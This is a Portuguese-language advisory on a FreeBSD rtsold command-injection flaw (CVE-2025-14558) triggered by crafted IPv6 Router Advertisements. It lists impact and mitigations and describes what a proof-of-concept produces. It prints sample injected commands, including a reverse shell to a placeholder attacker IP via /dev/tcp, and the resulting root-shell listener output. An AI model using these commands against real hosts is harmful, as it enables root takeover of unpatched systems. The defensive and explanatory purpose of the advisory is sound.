⚙️ Detalhes Técnicos

• Pacotes Router Advertisement (RA) IPv6 maliciosos podem incluir uma opção de Lista de Domínio de Pesquisa manipulada
• A entrada é passada de forma insegura para resolvconf(8)
• Uso incorreto de aspas em shell permite injeção de comandos
• Resulta em execução arbitrária de comandos como root

🕸️ Vetor de Ataque

• 🌐 Baseado em rede
• 📍 O atacante deve estar no mesmo segmento de rede local
• Nenhuma autenticação ou credenciais necessárias

💥 Impacto

Se explorada com sucesso, um atacante pode:

• Obter comprometimento total do sistema
• Executar comandos arbitrários
• Modificar a configuração do sistema
• Estabelecer persistência ou movimento lateral

🧪 Disponibilidade do Exploit

• ✅ Prova de Conceito (PoC) pública existe
• Demonstra execução de comandos através de pacotes RA IPv6 manipulados

🛡️ Mitigação e Defesa

Ações fortemente recomendadas:

• 🔧 Aplique correções oficiais de segurança do FreeBSD
• 🚫 Desabilite rtsol / rtsold se o RA IPv6 não for necessário
• 🔒 Filtre ou bloqueie Anúncios de Roteador IPv6 não confiáveis
• 🧱 Use segmentação de rede para limitar a exposição do atacante local

📝 Conclusão Principal

Qualquer sistema FreeBSD ouvindo anúncios de roteador IPv6 em uma rede não confiável está em alto risco. Corrija imediatamente ou desabilite os serviços afetados.

Se o script PoC para CVE-2025-14558 funcionar com sucesso em um sistema FreeBSD vulnerável (sem correção, com rtsold em execução e processando mensagens RA IPv6):

No Alvo (Máquina FreeBSD Vulnerável):

• O comando injetado é executado imediatamente como root (já que rtsold executa como root e chama /sbin/resolvconf com o domínio malicioso).
• Nenhuma saída visível aparece no console ou logs por padrão (o comando é executado silenciosamente em segundo plano).
• Exemplos do que acontece:

  • Para teste simples como --command "id > /tmp/pwned":

    • Um arquivo /tmp/pwned é criado contendo uma saída como:

      root@kitploit:~

      uid=0(root) gid=0(wheel) groups=0(wheel)
      

  • Para --command "touch /tmp/exploit_success":

    • Um arquivo vazio /tmp/exploit_success aparece.

  • Para um shell reverso como --command "bash -i >& /dev/tcp/SEU_IP/4444 0>&1":

    • Nenhuma mudança visível imediata no alvo, mas uma tentativa de conexão é feita ao seu listener.

Verifique no alvo com comandos como:

No Lado do Atacante (Executando o Script):

• O script exibe:

  root@kitploit:~

  [+] Enviando RA malicioso na eth0
  [+] Comando injetado: id > /tmp/pwned
  [+] O alvo deve executar rtsold vulnerável e processar o RA
  [+] Concluído. Verifique o alvo pela execução (ex.: /tmp/pwned)
  
  

• Para shell reverso: Se bem-sucedido, seu nc -lvnp 4444 recebe uma conexão e um shell root:

  root@kitploit:~

  listening on [any] 4444 ...
  connect to [SEU_IP] from (UNKNOWN) [ip_do_alvo] XXXXX
  bash: cannot set terminal process groups: No job control in this shell
  bash: no job control in this shell
  root@host-vulneravel:~ #
  

  ---

  (Agora você tem um shell root – digite comandos como id, whoami, etc.)

Se Não Funcionar:

• Nenhum arquivo criado/sem conexão → Razões: Alvo corrigido, rtsold não em execução, não na mesma rede L2, firewall bloqueando RA, ou IPv6 desabilitado.

Isso é observável apenas em um laboratório controlado em um sistema FreeBSD vulnerável (anterior ao patch de 16 de dezembro de 2025). Nenhum relatório público de exploração no mundo real até 23 de dezembro de 2025. Corrija imediatamente em produção.

⚠️ Aviso: Esta informação é fornecida apenas para fins informativos e não constitui conselho de segurança, legal ou operacional. Sempre revise e siga os avisos oficiais do fornecedor, patches e orientações antes de tomar ações de remediação.